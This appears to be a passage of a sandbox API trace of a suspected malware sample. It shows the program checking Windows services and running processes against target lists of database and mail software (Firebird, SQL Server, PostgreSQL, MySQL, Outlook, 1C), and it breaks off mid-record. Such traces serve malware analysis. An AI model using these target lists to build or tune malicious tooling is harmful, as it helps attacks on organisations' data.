[0159.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0159.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0159.732] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0159.732] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0159.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0159.732] lstrlenW (lpString="eventlog") returned 8 [0159.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0159.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0159.732] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0159.732] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0159.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0159.732] lstrlenW (lpString="EventSystem") returned 11 [0159.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0159.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0159.732] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0159.732] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0159.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0159.732] lstrlenW (lpString="gpsvc") returned 5 [0159.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0159.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0159.732] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0159.732] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0159.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0159.733] lstrlenW (lpString="iphlpsvc") returned 8 [0159.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.733] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0159.733] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0159.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0159.733] lstrlenW (lpString="LanmanServer") returned 12 [0159.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0159.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0159.733] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0159.733] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0159.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0159.733] lstrlenW (lpString="LanmanWorkstation") returned 17 [0159.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.733] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0159.733] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0159.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0159.733] lstrlenW (lpString="lmhosts") returned 7 [0159.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0159.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0159.733] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0159.733] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0159.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0159.733] lstrlenW (lpString="MMCSS") returned 5 [0159.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0159.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0159.733] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0159.733] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0159.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0159.733] lstrlenW (lpString="MpsSvc") returned 6 [0159.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0159.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0159.733] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0159.733] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0159.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0159.734] lstrlenW (lpString="Netman") returned 6 [0159.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0159.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0159.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0159.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0159.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0159.734] lstrlenW (lpString="netprofm") returned 8 [0159.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0159.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0159.734] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0159.734] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0159.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0159.734] lstrlenW (lpString="NlaSvc") returned 6 [0159.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0159.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0159.734] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0159.734] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0159.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0159.734] lstrlenW (lpString="nsi") returned 3 [0159.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0159.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0159.734] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0159.734] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0159.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0159.734] lstrlenW (lpString="PcaSvc") returned 6 [0159.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0159.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0159.734] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0159.734] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0159.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0159.735] lstrlenW (lpString="PlugPlay") returned 8 [0159.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0159.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0159.735] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0159.735] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0159.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0159.735] lstrlenW (lpString="Power") returned 5 [0159.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0159.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0159.735] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0159.735] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0159.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0159.735] lstrlenW (lpString="ProfSvc") returned 7 [0159.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0159.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0159.735] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0159.735] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0159.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0159.735] lstrlenW (lpString="RpcEptMapper") returned 12 [0159.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.735] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0159.735] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0159.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0159.735] lstrlenW (lpString="RpcSs") returned 5 [0159.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0159.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0159.735] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0159.735] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0159.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0159.735] lstrlenW (lpString="SamSs") returned 5 [0159.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0159.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0159.735] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0159.735] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0159.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0159.736] lstrlenW (lpString="Schedule") returned 8 [0159.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0159.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0159.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0159.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0159.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0159.736] lstrlenW (lpString="SENS") returned 4 [0159.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0159.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0159.736] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0159.736] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0159.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0159.736] lstrlenW (lpString="ShellHWDetection") returned 16 [0159.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.736] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0159.736] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0159.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0159.736] lstrlenW (lpString="Spooler") returned 7 [0159.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0159.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0159.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0159.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0159.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0159.736] lstrlenW (lpString="SysMain") returned 7 [0159.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0159.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0159.736] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0159.736] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0159.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0159.736] lstrlenW (lpString="Themes") returned 6 [0159.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0159.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0159.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0159.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0159.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0159.737] lstrlenW (lpString="TrkWks") returned 6 [0159.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0159.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0159.737] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0159.737] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0159.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0159.737] lstrlenW (lpString="UxSms") returned 5 [0159.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0159.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0159.737] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0159.737] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0159.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0159.737] lstrlenW (lpString="WdiServiceHost") returned 14 [0159.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0159.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0159.737] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0159.737] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0159.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0159.737] lstrlenW (lpString="WdiSystemHost") returned 13 [0159.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0159.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0159.737] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0159.737] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0159.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0159.737] lstrlenW (lpString="Winmgmt") returned 7 [0159.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0159.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0159.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0159.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0159.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0159.737] lstrlenW (lpString="WPDBusEnum") returned 10 [0159.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0159.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0159.737] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0159.737] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0159.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0159.738] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0159.738] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0159.740] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.740] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0159.741] lstrlenW (lpString="System") returned 6 [0159.741] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0159.741] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0159.741] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0159.741] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0159.741] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0159.741] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0159.741] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0159.741] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0159.741] lstrlenW (lpString="smss.exe") returned 8 [0159.741] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0159.741] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0159.741] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0159.741] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0159.741] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0159.741] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0159.741] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0159.741] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.742] lstrlenW (lpString="csrss.exe") returned 9 [0159.742] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0159.742] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0159.742] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0159.742] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0159.742] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0159.742] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0159.742] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0159.742] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0159.742] lstrlenW (lpString="wininit.exe") returned 11 [0159.742] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0159.742] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0159.742] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0159.742] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0159.742] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0159.742] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0159.742] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0159.742] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.743] lstrlenW (lpString="csrss.exe") returned 9 [0159.743] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0159.743] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0159.743] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0159.743] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0159.743] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0159.743] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0159.743] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0159.743] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0159.743] lstrlenW (lpString="winlogon.exe") returned 12 [0159.743] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0159.743] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0159.743] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0159.743] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0159.743] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0159.744] lstrlenW (lpString="services.exe") returned 12 [0159.744] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0159.744] lstrlenW (lpString="lsass.exe") returned 9 [0159.744] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0159.744] lstrlenW (lpString="lsm.exe") returned 7 [0159.744] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.745] lstrlenW (lpString="svchost.exe") returned 11 [0159.745] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.745] lstrlenW (lpString="svchost.exe") returned 11 [0159.745] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.745] lstrlenW (lpString="svchost.exe") returned 11 [0159.746] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.746] lstrlenW (lpString="svchost.exe") returned 11 [0159.746] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.746] lstrlenW (lpString="svchost.exe") returned 11 [0159.746] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0159.747] lstrlenW (lpString="audiodg.exe") returned 11 [0159.747] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.747] lstrlenW (lpString="svchost.exe") returned 11 [0159.747] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0159.747] lstrlenW (lpString="explorer.exe") returned 12 [0159.747] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0159.747] lstrlenW (lpString="dwm.exe") returned 7 [0159.748] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.748] lstrlenW (lpString="svchost.exe") returned 11 [0159.748] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0159.748] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0159.748] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: 